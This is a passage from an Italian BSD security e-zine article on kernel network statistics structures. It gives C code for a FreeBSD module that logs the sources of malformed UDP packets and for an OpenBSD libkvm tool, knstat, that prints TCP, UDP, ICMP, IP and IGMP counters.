responses [ %ld ]\n", i_stat.icps_reflect); printf("\t\tm/bcast echo requests dropped [ %ld ]\n", i_stat.icps_bmcastecho); } void igmp_stat(void) { struct igmpstat i_stat; int len = sizeof i_stat; if(sysctlbyname("net.inet.igmp.stats", &i_stat, &len, 0, 0) < 0) Error("[igmp_stat] sysctlbyname"); printf("IGMP Statistics\n\n"); printf("\t\tmessages received [ %d ]\n", i_stat.igps_rcv_total); printf("\t\trcvd with too few bytes [ %d ]\n", i_stat.igps_rcv_tooshort); printf("\t\trcvd with bad checksum [ %d ]\n", i_stat.igps_rcv_badsum); printf("\t\trcvd membership queries [ %d ]\n", i_stat.igps_rcv_queries); printf("\t\trcvd invalid queries [ %d ]\n", i_stat.igps_rcv_badqueries); printf("\t\trcvd membership reports [ %d ]\n", i_stat.igps_rcv_reports); printf("\t\trcvd invalid reports [ %d ]\n", i_stat.igps_rcv_badreports); printf("\t\trcvd rep. for our grps [ %d ]\n", i_stat.igps_rcv_ourreports); printf("\t\tsent membership reports [ %d ]\n", i_stat.igps_snd_reports); } <-X-> Queste strutture di statistica sono quindi uno strumento gia' interessante, ma potrebbe diventare ancora meglio... Mi spiego meglio. Per ora il kernel tiene aggiornate strutture come questa: struct tcpstat { u_long tcps_connattempt; /* connections initiated */ u_long tcps_accepts; /* connections accepted */ u_long tcps_connects; /* connections established */ u_long tcps_drops; /* connections dropped */ u_long tcps_conndrops; /* embryonic connections dropped */ u_long tcps_closed; /* conn. closed (includes drops) */ u_long tcps_segstimed; /* segs where we tried to get rtt */ u_long tcps_rttupdated; /* times we succeeded */ u_long tcps_delack; /* delayed acks sent */ u_long tcps_timeoutdrop; /* conn. dropped in rxmt timeout */ u_long tcps_rexmttimeo; /* retransmit timeouts */ u_long tcps_persisttimeo; /* persist timeouts */ u_long tcps_keeptimeo; /* keepalive timeouts */ u_long tcps_keepprobe; /* keepalive probes sent */ u_long tcps_keepdrops; /* connections dropped in keepalive */ u_long tcps_sndtotal; /* total packets sent */ u_long tcps_sndpack; /* data packets sent */ u_long tcps_sndbyte; /* data bytes sent */ u_long tcps_sndrexmitpack; /* data packets retransmitted */ u_long tcps_sndrexmitbyte; /* data bytes retransmitted */ u_long tcps_sndacks; /* ack-only packets sent */ u_long tcps_sndprobe; /* window probes sent */ u_long tcps_sndurg; /* packets sent with URG only */ u_long tcps_sndwinup; /* window update-only packets sent */ u_long tcps_sndctrl; /* control (SYN|FIN|RST) packets sent */ u_long tcps_rcvtotal; /* total packets received */ u_long tcps_rcvpack; /* packets received in sequence */ u_long tcps_rcvbyte; /* bytes received in sequence */ u_long tcps_rcvbadsum; /* packets received with ccksum errs */ u_long tcps_rcvbadoff; /* packets received with bad offset */ u_long tcps_rcvshort; /* packets received too short */ u_long tcps_rcvduppack; /* duplicate-only packets received */ u_long tcps_rcvdupbyte; /* duplicate-only bytes received */ u_long tcps_rcvpartduppack; /* packets with some duplicate data */ u_long tcps_rcvpartdupbyte; /* dup. bytes in part-dup. packets */ u_long tcps_rcvoopack; /* out-of-order packets received */ u_long tcps_rcvoobyte; /* out-of-order bytes received */ u_long tcps_rcvpackafterwin; /* packets with data after window */ u_long tcps_rcvbyteafterwin; /* bytes rcvd after window */ u_long tcps_rcvafterclose; /* packets rcvd after "close" */ u_long tcps_rcvwinprobe; /* rcvd window probe packets */ u_long tcps_rcvdupack; /* rcvd duplicate acks */ u_long tcps_rcvacktoomuch; /* rcvd acks for unsent data */ u_long tcps_rcvackpack; /* rcvd ack packets */ u_long tcps_rcvackbyte; /* bytes acked by rcvd acks */ u_long tcps_rcvwinupd; /* rcvd window update packets */ u_long tcps_pawsdrop; /* segments dropped due to PAWS */ u_long tcps_predack; /* times hdr predict ok for acks */ u_long tcps_preddat; /* times hdr predict ok for data pkts */ u_long tcps_pcbcachemiss; u_long tcps_cachedrtt; /* times cached RTT in route updated */ u_long tcps_cachedrttvar; /* times cached rttvar updated */ u_long tcps_cachedssthresh; /* times cached ssthresh updated */ u_long tcps_usedrtt; /* times RTT initialized from route */ u_long tcps_usedrttvar; /* times RTTVAR initialized from rt */ u_long tcps_usedssthresh; /* times ssthresh initialized from rt*/ u_long tcps_persistdrop; /* timeout in persist state */ u_long tcps_badsyn; /* bogus SYN, e.g. premature ACK */ u_long tcps_mturesent; /* resends due to MTU discovery */ u_long tcps_listendrop; /* listen queue overflows */ }; Purtroppo la tcpstat non isola per connessione, ma fa di tutto un brodo... Non e' inoltre difficile pensare che sia possibile scrivere parti dei pacchetti "strani" (almeno l'header) su un pseudo device o su procfs... e che un programma da user-level possa prelevare tale informazioni per leggerle... Tutto sommato pure alcuni firewall si stanno orientando verso questa strada... La struttura icmpstat e' secondo me quella che in questo momento dovrebbe essere pure rivista... Tali strutture sono un qualcosa che potrebbe essere VERAMENTE potente se sviluppate adeguatamente... pensate per esempio alla possibilita' di tener traccia dei pacchetti con badcode... questi potrebbero ad esempio essere dei potenziali attivatori di backdoor nel nostro sistema... /* * Variables related to this implementation * of the internet control message protocol. */ struct icmpstat { /* statistics related to icmp packets generated */ u_long icps_error; /* # of calls to icmp_error */ u_long icps_oldshort; /* no error 'cuz old ip too short */ u_long icps_oldicmp; /* no error 'cuz old was icmp */ u_long icps_outhist[ICMP_MAXTYPE + 1]; /* statistics related to input messages processed */ u_long icps_badcode; /* icmp_code out of range */ u_long icps_tooshort; /* packet < ICMP_MINLEN */ u_long icps_checksum; /* bad checksum */ u_long icps_badlen; /* calculated bound mismatch */ u_long icps_reflect; /* number of responses */ u_long icps_inhist[ICMP_MAXTYPE + 1]; u_long icps_bmcastecho; /* b/mcast echo requests dropped */ u_long icps_bmcasttstamp; /* b/mcast tstamp requests dropped */ }; Per farvi capire il concetto vi presento un modulo che sfrutta un po' di piu' la stat, in questo caso di udp, visualizzando via syslog la provenienza di pacchetti anomali... <-| fbsd_sub_udp_input.c |-> /* * Name: Simple Example of log for bad packets * Date: Fri Feb 18 21:42:57 2000 * Author: pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject Digital Security for Y2K (www.s0ftpj.org) * Sikurezza.org Italian Security MailingList (www.sikurezza.org) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-19990705-CURRENT FreeBSD 4.0-19990705-CURRENT #6 i386 */ /* * *stat structures show you general information... this module gives also * source address for variables of udpstat used in udp_input()... It is only * an example... * * Feb 10 10:11:13 storpio /kernel UDP: udps_badsum 4 from xxx.xxx.xxx.xxx * * We know source of a packet with badsum and its number in * udpstat.udps_badsum... * * A cool idea can be log bad packets (at least ip header of these) * via pseudo device (a bit like ipl) or via procfs... */ /* * Use a Makefile for kld.... */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern struct protosw inetsw[]; extern struct udpstat udpstat; extern int log_in_vain; extern struct inpcbhead udb; extern struct sockaddr_in udp_in; static void new_udp_input __P((register struct mbuf *, int )); static int s_load __P((struct module *, int, void *)); int badport_bandlim __P((int)); /* * saving udp_input() with a funct ptr is not necessary... because it isn't * static so we can access it... */ static int s_load (struct module *module, int cmd, void *arg) { int s; switch(cmd) { case MOD_LOAD: s = splnet(); inetsw[ip_protox[IPPROTO_UDP]].pr_input = new_udp_input; splx(s); break; case MOD_UNLOAD: s = splnet(); inetsw[ip_protox[IPPROTO_UDP]].pr_input = udp_input; splx(s); break; } return 0; } static moduledata_t s_mod_1 = { "udp_mod", s_load, 0 }; DECLARE_MODULE(udp_mod, s_mod_1, SI_SUB_PSEUDO, SI_ORDER_ANY); static void new_udp_input(m, iphlen) register struct mbuf *m; int iphlen; { register struct ip *ip; register struct udphdr *uh; register struct inpcb *inp; struct mbuf *opts = 0; int len; struct ip save_ip; udpstat.udps_ipackets++; if (iphlen > sizeof (struct ip)) { ip_stripoptions(m, (struct mbuf *)0); iphlen = sizeof(struct ip); } ip = mtod(m, struct ip *); if (m->m_len < iphlen + sizeof(struct udphdr)) { if ((m = m_pullup(m, iphlen + sizeof(struct udphdr))) == 0) { udpstat.udps_hdrops++; log(LOG_INFO, "UDP: udps_hdrops %ld from %s\n", udpstat.udps_hdrops, inet_ntoa(ip->ip_src)); return; } ip = mtod(m, struct ip *); } uh = (struct udphdr *)((caddr_t)ip + iphlen); len = ntohs((u_short)uh->uh_ulen); if (ip->ip_len != len) { if (len > ip->ip_len || len < sizeof(struct udphdr)) { udpstat.udps_badlen++; log(LOG_INFO, "UDP: udps_badlen %ld from %s\n", udpstat.udps_badlen, inet_ntoa(ip->ip_src)); goto bad; } m_adj(m, len - ip->ip_len); /* ip->ip_len = len; */ } save_ip = *ip; if (uh->uh_sum) { bzero(((struct ipovly *)ip)->ih_x1, 9); ((struct ipovly *)ip)->ih_len = uh->uh_ulen; uh->uh_sum = in_cksum(m, len + sizeof (struct ip)); if (uh->uh_sum) { udpstat.udps_badsum++; log(LOG_INFO, "UDP: udps_badsum %ld from %s\n", udpstat.udps_badsum, inet_ntoa(ip->ip_src)); m_freem(m); return; } } if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || in_broadcast(ip->ip_dst, m->m_pkthdr.rcvif)) { struct inpcb *last; udp_in.sin_port = uh->uh_sport; udp_in.sin_addr = ip->ip_src; m->m_len -= sizeof (struct udpiphdr); m->m_data += sizeof (struct udpiphdr); last = NULL; for (inp = udb.lh_first; inp != NULL; inp = inp->inp_list.le_next) { if (inp->inp_lport != uh->uh_dport) continue; if (inp->inp_laddr.s_addr != INADDR_ANY) { if (inp->inp_laddr.s_addr != ip->ip_dst.s_addr) continue; } if (inp->inp_faddr.s_addr != INADDR_ANY) { if (inp->inp_faddr.s_addr != ip->ip_src.s_addr || inp->inp_fport != uh->uh_sport) continue; } if (last != NULL) { struct mbuf *n; if ((n = m_copy(m, 0, M_COPYALL)) != NULL) { if (last->inp_flags & INP_CONTROLOPTS || last->inp_socket->so_options & SO_TIMESTAMP) ip_savecontrol(last, &opts, ip, n); if (sbappendaddr(&last->inp_socket->so_rcv, (struct sockaddr *)&udp_in, n, opts) == 0) { m_freem(n); if (opts) m_freem(opts); udpstat.udps_fullsock++; } else sorwakeup(last->inp_socket); opts = 0; } } last = inp; if ((last->inp_socket->so_options&(SO_REUSEPORT | SO_REUSEADDR)) == 0) break; } if (last == NULL) { udpstat.udps_noportbcast++; goto bad; } if (last->inp_flags & INP_CONTROLOPTS || last->inp_socket->so_options & SO_TIMESTAMP) ip_savecontrol(last, &opts, ip, m); if (sbappendaddr(&last->inp_socket->so_rcv, (struct sockaddr *)&udp_in, m, opts) == 0) { udpstat.udps_fullsock++; goto bad; } sorwakeup(last->inp_socket); return; } inp = in_pcblookup_hash(&udbinfo, ip->ip_src, uh->uh_sport, ip->ip_dst, uh->uh_dport, 1); if (inp == NULL) { if (log_in_vain) { char buf[4*sizeof "123"]; strcpy(buf, inet_ntoa(ip->ip_dst)); log(LOG_INFO, "Connection attempt to UDP %s:%d from %s:%d\n", buf, ntohs(uh->uh_dport), inet_ntoa(ip->ip_src), ntohs(uh->uh_sport)); } udpstat.udps_noport++; if (m->m_flags & (M_BCAST | M_MCAST)) { udpstat.udps_noportbcast++; goto bad; } *ip = save_ip; if (badport_bandlim(0) < 0) goto bad; icmp_error(m, ICMP_UNREACH, ICMP_UNREACH_PORT, 0, 0); return; } udp_in.sin_port = uh->uh_sport; udp_in.sin_addr = ip->ip_src; if (inp->inp_flags & INP_CONTROLOPTS || inp->inp_socket->so_options & SO_TIMESTAMP) ip_savecontrol(inp, &opts, ip, m); iphlen += sizeof(struct udphdr); m->m_len -= iphlen; m->m_pkthdr.len -= iphlen; m->m_data += iphlen; if (sbappendaddr(&inp->inp_socket->so_rcv, (struct sockaddr *)&udp_in, m, opts) == 0) { udpstat.udps_fullsock++; goto bad; } sorwakeup(inp->inp_socket); return; bad: m_freem(m); if (opts) m_freem(opts); } <-X-> Feb 10 00:00:00 storpio /kernel UDP: udps_badsum 1 from xxx.xxx.xxx.xxx Questo e' gia' un passo in avanti perche' dice la provenienza... e il corrispettivo incremento nel contatore interno alla *stat . E arriviamo al 28 febbraio giorno in cui dopo aver messo a posto una nuova macchina con OpenBSD decisi di fare il porting di knstat... A prima vista compresi che le strutture non venivano rese disponibili via sysctl ed a questo punto non mi resto' che scrivere da shell: # nm /bsd | grep stat e01bc284 T _Blowfish_expand0state e01bc390 T _Blowfish_expandstate e01bc210 T _Blowfish_initstate e030f3e8 B _ahstat e02d92dc T _apm_set_powstate e027d9a4 T _astattach e013279c T _cd9660_statfs e022ecac T _ch_getelemstatus e022eb2c T _ch_usergetelemstatus e02d4f38 T _compat_43_freebsd_sys_lstat e02d4edc T _compat_43_freebsd_sys_stat e02e48c4 T _compat_43_sys_fstat e02e480c T _compat_43_sys_lstat e02e4758 T _compat_43_sys_stat e0144390 T _disk_resetstat e0128bc8 T _dp8390_mediastatus e03afe58 B _espstat e0290e20 T _ess_get_dsp_status e020a210 T _ext2fs_statfs e02b3a68 T _fdcstatus e0167e1c T _fdesc_statfs e01fd18c T _ffs_statfs e03b1ad0 B _forkstat e01aceac T _fr_addstate e0318f94 B _fr_authstats e01ad3b8 T _fr_checkstate e01ace08 T _fr_state_ioctl e01ad664 T _fr_stateunload e01ad164 T _fr_tcpstate e01ad6c0 T _fr_timeoutstate e02d5564 T _freebsd_sys_fstatfs e02d5604 T _freebsd_sys_getfsstat e02d5824 T _freebsd_sys_lstat e02d57c8 T _freebsd_sys_stat e02d5458 T _freebsd_sys_statfs e02f29d8 D _frstats e023305c T _get_buffer_status e02cb4f4 T _ibcs2_sys_fstat e02cb324 T _ibcs2_sys_fstatfs e02cb444 T _ibcs2_sys_lstat e02cb394 T _ibcs2_sys_stat e02cb25c T _ibcs2_sys_statfs e03c96c4 B _icmpstat e03b214c B _igmpstat e03b4734 B _ip4stat e01ac730 T _ipfr_fragstats e0318f50 B _ipfr_stats e03b01e4 B _ips_stats e03c2ee0 B _ipstat e01ad960 T _ipstate_log e03195c4 B _isa_dma_stats_bounces e03195b4 B _isa_dma_stats_loads e03b2180 B _isa_dma_stats_nbouncebufs e02bb100 T _isapnp_wait_status e03b01bc B _iso_nchstats e01697c4 T _kernfs_statfs e03c33a8 B _kmemstats e02cdd40 T _linux_sys_fstat e02cf4bc T _linux_sys_fstatfs e02cded8 T _linux_sys_lstat e02cdec0 T _linux_sys_stat e02cf3f4 T _linux_sys_statfs e013a8dc T _lockstatus e03b3830 B _mbstat e01fea24 T _mfs_statfs e0177f64 T _msdosfs_statfs e0233920 T _mustek_get_status e031824c B _nat_stats e03192d0 B _nchstats e01e4670 T _nfs_statfs e01da074 T _nfsrv_statfs e03b4344 B _nfsstats e016a9c8 T _nullfs_statfs e014b7d4 T _pipe_stat e03b4edc B _playstats e016b1c0 T _portal_statfs e016c540 T _procfs_dostatus e016ce04 T _procfs_statfs e0327e6c B _rndstats e012a588 T _rtl80x9_mediastatus e03180bc B _rtstat e0297d48 T _setstatclockrate e014c0d8 T _soo_stat e0180b58 T _sppp_cp_change_state e01848e8 T _sppp_state_name e0136ce8 T _statclock e02d5370 T _statfs_to_freebsd_statfs e0165b08 T _statfs_to_ostatfs e031924c B _stathz e0230c40 T _stattach e02c1a10 T _svr4_sys_fstat e02c1d3c T _svr4_sys_fstat64 e02c0294 T _svr4_sys_fstatvfs e02c0330 T _svr4_sys_fstatvfs64 e02c1ca0 T _svr4_sys_fxstat e02c1920 T _svr4_sys_lstat e02c1ba4 T _svr4_sys_lxstat e02c1830 T _svr4_sys_stat e02c01c8 T _svr4_sys_statvfs e02c1aa8 T _svr4_sys_xstat e02c1dd8 T _svr4_ustat e013771c T _sys_fstat e016315c T _sys_fstatfs e0163234 T _sys_getfsstat e016448c T _sys_lstat e0165cb0 T _sys_ofstatfs e0165d44 T _sys_ogetfsstat e0165bf4 T _sys_ostatfs e01643c4 T _sys_stat e0163070 T _sys_statfs e03c9780 B _tcpstat e01afb60 T _tdb_hashstats e02eee54 D _time_State e02eee58 D _time_status e030f9e4 B _udpstat e016ef88 T _umapfs_statfs e017158c T _union_statfs e016646c T _vn_stat Uhm guarda che bello... conosciamo la posizione in cui si trovano le strutture tcpstat, icmpstat, udpstat, ipstat, igmpstat nel kernel... A questo punto mi e' bastato utilizzare la libreria kvm per estrarre tali valori dal kernel. Risultato: <- knstat_openbsd.c |-> /* * Name: knstat for OpenBSD * Date: Mon Feb 28 21:38:57 2000 * Author: pIGpEN [pigpen@s0ftpj.org, deadhead@sikurezza.org] * * SoftProject Digital Security for Y2K * Sikurezza.org - Italian Security Mailinglist * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: OpenBSD 2.6 kern#0 i386 * * Little revision - Mar 08 2000 ( This code is very simple... ) * * $ calendar * * Mar 08 Ron "Pigpen" McKernan (Grateful Dead) dies in California, 1973 * * :( * Let His Memory Shine! */ /* * This is a simple porting of knstat on your OpenBSD box... * * compile with: cc filename -lkvm */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define WAIT #define Error(s) err(EX_UNAVAILABLE, s); #define E(s) if(!strcmp(s, arg[1])) void usage __P((char *)); void print_ip __P((kvm_t *)); void print_udp __P((kvm_t *)); void print_tcp __P((kvm_t *)); void print_icmp __P((kvm_t *)); void print_igmp __P((kvm_t *)); struct prot { char *name; void (*funct) (kvm_t *); }; struct prot protos[] = { { "-ip" , print_ip }, { "-udp" , print_udp }, { "-tcp" , print_tcp }, { "-icmp", print_icmp }, { "-igmp", print_igmp }, }; struct nlist list[] = { {"_ipstat"}, {"_udpstat"}, {"_tcpstat"}, {"_icmpstat"}, {"_igmpstat"}, {NULL} }; int main(int narg, char **arg) { kvm_t *kd; int i; int len = sizeof(protos) / sizeof(struct prot); if(narg != 2){ usage(arg[0]); exit(0); } /* Think different */ for(i=0; i < len; i++) E(protos[i].name) { if(!(kd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, NULL))) Error("kvm_openfiles()"); if(kvm_nlist(kd, list) != 0) Error("kvm_nlist()"); (*protos[i].funct) (kd); kvm_close(kd); return 1; } usage(arg[0]); return 0; } void usage(char *cmdname) { printf("Usage:\n" "\t%s -option\n\n" "Option: -ip\n" " -icmp\n" " -igmp\n" " -tcp\n" " -udp\n", cmdname); } /* * You can cover printf() with a macro... but I'm fucking about... so * I have time to spend... */ void print_ip(kvm_t *kd) { struct ipstat i_stat; if(!list[0].n_value) Error("[print_ip] checking nlist"); kvm_read(kd, list[0].n_value, &i_stat, sizeof i_stat); printf("IP Statistics\n\n"); printf("\t\treceived [ %ld ]\n", i_stat.ips_total); printf("\t\tbad checksum [ %ld ]\n", i_stat.ips_badsum); printf("\t\tpkts too short [ %ld ]\n", i_stat.ips_tooshort); printf("\t\tno enough data [ %ld ]\n", i_stat.ips_toosmall); printf("\t\tiph len < data [ %ld ]\n", i_stat.ips_badhlen); printf("\t\tip len < iph len [ %ld ]\n", i_stat.ips_badlen); printf("\t\tfragments [ %ld ]\n", i_stat.ips_fragments); printf("\t\tfrags dropped [ %ld ]\n", i_stat.ips_fragdropped); printf("\t\tfrags timeout [ %ld ]\n", i_stat.ips_fragtimeout); printf("\t\tforwarded [ %ld ]\n", i_stat.ips_forward); printf("\t\tcant forward [ %ld ]\n", i_stat.ips_cantforward); printf("\t\tredirect sent [ %ld ]\n", i_stat.ips_redirectsent); printf("\t\tproto unknown [ %ld ]\n", i_stat.ips_noproto); printf("\t\tiplen > maxpksz [ %ld ]\n", i_stat.ips_toolong); printf("\t\tip version != 4 [ %ld ]\n", i_stat.ips_badvers); printf("\t\ttotal raw gen [ %ld ]\n", i_stat.ips_rawout); } void print_udp(kvm_t *kd) { struct udpstat u_stat; if(!list[1].n_value) Error("[print_udp] checking nlist"); kvm_read(kd, list[1].n_value, &u_stat, sizeof u_stat); printf("UDP Statistics\n\n"); printf("Total input packets: %ld\n", u_stat.udps_ipackets); printf("\t\t\t\tPacket shorter than header: %ld\n", u_stat.udps_hdrops); printf("\t\t\t\tChecksum error: %ld\n", u_stat.udps_badsum); printf("\t\t\t\tData len larger than pkt: %ld\n", u_stat.udps_badlen); printf("\t\t\t\tNo socket on port: %ld\n", u_stat.udps_noport); printf("\t\t\t\tArrived as broadcast: %ld\n", u_stat.udps_noportbcast); printf("\t\t\t\tNot delivered: %ld\n", u_stat.udps_fullsock); printf("Total ouput packets: %ld\n\n", u_stat.udps_opackets); } void print_tcp(kvm_t *kd) { struct tcpstat t_stat; if(!list[2].n_value) Error("[print_tcp] checking nvalue"); kvm_read(kd, list[2].n_value, &t_stat, sizeof t_stat); printf("TCP Statistics\n\n"); printf("Connection:\n"); printf("\t\tinitiated: [ %d ]\n", t_stat.tcps_connattempt); printf("\t\taccepted: [ %d ]\n", t_stat.tcps_accepts); printf("\t\testabilished [ %d ]\n", t_stat.tcps_connects); printf("\t\tdropped [ %d ]\n", t_stat.tcps_drops); printf("\t\tembryonic dropped [ %d ]\n", t_stat.tcps_conndrops); printf("\t\tkeepalive dropped [ %d ]\n", t_stat.tcps_keepdrops); printf("\t\tclosed [ %d ]\n", t_stat.tcps_closed); printf("\nTimers:\n"); printf("\t\tsegs timed [ %d ]\n", t_stat.tcps_segstimed); printf("\t\trtt updated [ %d ]\n", t_stat.tcps_rttupdated); printf("\t\tdelayed acks sent [ %d ]\n", t_stat.tcps_delack); printf("\t\tdropped in rxmt timeouts [ %d ]\n", t_stat.tcps_timeoutdrop); printf("\t\tretrasmit timeouts [ %d ]\n", t_stat.tcps_rexmttimeo); printf("\t\tpersist timeouts [ %d ]\n", t_stat.tcps_persisttimeo); printf("\t\tkeepalive timeouts [ %d ]\n", t_stat.tcps_keeptimeo); printf("\t\tkeepalive probes sent [ %d ]\n", t_stat.tcps_keepprobe); #ifdef WAIT getchar(); #endif printf("\nPackets\n"); printf("\t\tsent [ %d ]\n", t_stat.tcps_sndtotal); printf("\t\tdata pkt [ %d ]\n", t_stat.tcps_sndpack); printf("\t\tdata bytes [ %ld ]\n", (long) t_stat.tcps_sndbyte); printf("\t\tdata pkt retrasmitted [ %d ]\n", t_stat.tcps_sndrexmitpack); printf("\t\tdata bytes retrasmitted [ %ld ]\n", (long)t_stat.tcps_sndrexmitbyte); printf("\t\tack only pkts [ %d ]\n", t_stat.tcps_sndacks); printf("\t\turg only pkts [ %d ]\n", t_stat.tcps_sndurg); printf("\t\twin update only pkt [ %d ]\n", t_stat.tcps_sndwinup); printf("\t\tsyn|fin|rst pkt [ %d ]\n", t_stat.tcps_sndctrl); printf("\t\twindow probes [ %d ]\n", t_stat.tcps_sndprobe); printf("\n\n"); #ifdef WAIT getchar(); #endif printf("\t\treceived [ %ld ]\n", (long) t_stat.tcps_rcvtotal); printf("\t\tpkt in sequence [ %d ]\n", t_stat.tcps_rcvpack); printf("\t\tbyte in sequence [ %ld ]\n", (long) t_stat.tcps_rcvbyte); printf("\t\tpkt with checksum errors [ %d ]\n", t_stat.tcps_rcvbadsum); printf("\t\tpkt with bad offset [ %d ]\n", t_stat.tcps_rcvbadoff); printf("\t\tpkt received too short [ %d ]\n", t_stat.tcps_rcvshort); printf("\t\tduplicate only pkts [ %d ]\n", t_stat.tcps_rcvduppack); printf("\t\tduplicate only bytes [ %ld ]\n", (long) t_stat.tcps_rcvdupbyte); printf("\t\tpartial duplicate data [ %d ]\n", t_stat.tcps_rcvpartduppack); printf("\t\tpartial duplicate bytes [ %ld ]\n", (long) t_stat.tcps_rcvpartdupbyte); printf("\t\tout of order pkts [ %d ]\n", t_stat.tcps_rcvoopack); printf("\t\tout of order bytes [ %ld ]\n", (long) t_stat.tcps_rcvoobyte); printf("\t\tpkts with data after win [ %d ]\n", t_stat.tcps_rcvpackafterwin); printf("\t\tbytes received after win [ %ld ]\n", (long) t_stat.tcps_rcvbyteafterwin); printf("\t\tpkts rcvd after close [ %d ]\n", t_stat.tcps_rcvafterclose); printf("\t\tpkts rcvd win probe [ %d ]\n", t_stat.tcps_rcvwinprobe); printf("\t\tduplicate acks [ %d ]\n", t_stat.tcps_rcvdupack); printf("\t\tacks for unsent data [ %d ]\n", t_stat.tcps_rcvacktoomuch); printf("\t\tacks packets [ %d ]\n", t_stat.tcps_rcvackpack); printf("\t\tbytes acked by rcvd acks [ %d ]\n", t_stat.tcps_rcvwinupd); printf("\t\tseg dropped due to PAWS [ %d ]\n", t_stat.tcps_pawsdrop); printf("\t\tbogus syn [ %d ]\n", t_stat.tcps_badsyn); } void print_icmp(kvm_t *kd) { struct icmpstat i_stat; if(!list[3].n_value) Error("[print_icmp] checking list n_value"); kvm_read(kd, list[3].n_value, &i_stat, sizeof(i_stat)); printf("ICMP Statistics\n"); printf("\t\tNumber of calls to icmp_error [ %ld ]\n", i_stat.icps_error); printf("\t\ticmp_code out of range [ %ld ]\n", i_stat.icps_badcode); printf("\t\tpkts < ICMP_MINLEN [ %ld ]\n", i_stat.icps_tooshort); printf("\t\tbad checksum [ %ld ]\n", i_stat.icps_checksum); printf("\t\tbad length [ %ld ]\n", i_stat.icps_badlen); printf("\t\tnumber of responses [ %ld ]\n", i_stat.icps_reflect); printf("\t\tm/bcast echo requests dropped [ %ld ]\n", i_stat.icps_bmcastecho); printf("Input Packet\n\n"); printf("\tEcho Reply [ %ld ]\n",i_stat.icps_inhist[0]); printf("\tDestination Unreachable [ %ld ]\n",i_stat.icps_inhist[3]); printf("\tSource Quench [ %ld ]\n", i_stat.icps_inhist[4]); printf("\tRedirect [ %ld ]\n", i_stat.icps_inhist[5]); printf("\tEcho [ %ld ]\n", i_stat.icps_inhist[8]); printf("\tRouter Advert [ %ld ]\n", i_stat.icps_inhist[9]); printf("\tRouter Solicitation [ %ld ]\n", i_stat.icps_inhist[10]); printf("\tTime Exceed [ %ld ]\n", i_stat.icps_inhist[11]); printf("\tTimestamp Request [ %ld ]\n", i_stat.icps_inhist[13]); printf("\tTimestamp Reply [ %ld ]\n", i_stat.icps_inhist[14]); printf("\tInformation Request [ %ld ]\n", i_stat.icps_inhist[15]); printf("\tInformation Reply [ %ld ]\n", i_stat.icps_inhist[16]); printf("\tAddress Mask Request [ %ld ]\n", i_stat.icps_inhist[17]); printf("\tAddress Mask Reply [ %ld ]\n", i_stat.icps_inhist[18]); #ifdef WAIT getchar(); #endif printf("Output Packet\n\n"); printf("\tEcho Reply [ %ld ]\n", i_stat.icps_outhist[0]); printf("\tDestination Unreachable [ %ld ]\n", i_stat.icps_outhist[3]); printf("\tSource Quench [ %ld ]\n", i_stat.icps_outhist[4]); printf("\tRedirect [ %ld ]\n", i_stat.icps_outhist[5]); printf("\tEcho [ %ld ]\n", i_stat.icps_outhist[8]); printf("\tRouter Advert [ %ld ]\n", i_stat.icps_outhist[9]); printf("\tRouter Solicitation [ %ld ]\n", i_stat.icps_outhist[10]); printf("\tTime Exceed [ %ld ]\n", i_stat.icps_outhist[11]); printf("\tTime Stamp Request [ %ld ]\n", i_stat.icps_outhist[13]); printf("\tTime Stamp Reply [ %ld ]\n", i_stat.icps_outhist[14]); printf("\tInformation Request [ %ld ]\n", i_stat.icps_outhist[15]); printf("\tInformation Reply [ %ld ]\n", i_stat.icps_outhist[16]); printf("\tMask Request [ %ld ]\n", i_stat.icps_outhist[17]); printf("\tMask Reply [ %ld ]\n", i_stat.icps_outhist[18]); } void print_igmp(kvm_t *kd) { struct igmpstat i_stat; if(!list[4].n_value) Error("[print_igmp] checking list nvalue"); kvm_read(kd, list[4].n_value, (char *) &i_stat, sizeof i_stat); printf("IGMP Statistics\n\n"); printf("\t\tmessages received [ %ld ]\n", i_stat.igps_rcv_total); printf("\t\trcvd with too few bytes [ %ld ]\n", i_stat.igps_rcv_tooshort); printf("\t\trcvd with bad checksum [ %ld ]\n", i_stat.igps_rcv_badsum); printf("\t\trcvd membership queries [ %ld ]\n", i_stat.igps_rcv_queries); printf("\t\trcvd invalid queries [ %ld ]\n", i_stat.igps_rcv_badqueries); printf("\t\trcvd membership reports [ %ld ]\n", i_stat.igps_rcv_reports); printf("\t\trcvd invalid reports [ %ld ]\n", i_stat.igps_rcv_badreports); printf("\t\trcvd rep. for our grps [ %ld ]\n", i_stat.igps_rcv_ourreports); printf("\t\tsent membership reports [ %ld ]\n", i_stat.igps_snd_reports); } <-X-> Su Open ho realizzato una parte che su FreeBSD non avevo fatto per pigrizia :) ovvero un'analisi sui codici ICMP: ./knstat -icmp ICMP Statistics Number of calls to icmp_error [ 0 ] icmp_code out of range [ 0 ] pkts < ICMP_MINLEN [ 0 ] bad checksum [ 0 ] bad length [ 0 ] number of responses [ 23 ] m/bcast echo requests dropped [ 0 ] Input Packet Echo Reply [ 10 ] Destination Unreachable [ 64 ] Source Quench [ 0 ] Redirect [ 0 ] Echo [ 23 ] Router Advert [ 0 ] Router Solicitation [ 0 ] Time Exceed [ 0 ] Timestamp Request [ 0 ] Timestamp Reply [ 0 ] Information Request [ 0 ] Information Reply [ 0 ] Address Mask Request [ 0 ] Address Mask Reply [ 0 ] Output Packet Echo Reply [ 23 ] Destination Unreachable [ 0 ] Source Quench [ 0 ] Redirect [ 0 ] Echo [ 0 ] Router Advert [ 0 ] Router Solicitation [ 0 ] Time Exceed [ 0 ] Time Stamp Request [ 0 ] Time Stamp Reply [ 0 ] Information Request [ 0 ] Information Reply [ 0 ] Mask Request [ 0 ] Mask Reply [ 0 ] Il discorso delle strutture di statistica di OpenBSD e anche NetBSD e' lo stesso di FreeBSD; giusto per confermare leggo da netinet/tcp_var.h: /* * TCP statistics. * Many of these should be kept per connection, * but that's inconvenient at the moment. */ struct tcpstat { u_int32_t tcps_connattempt; /* connections initiated */ u_int32_t tcps_accepts; 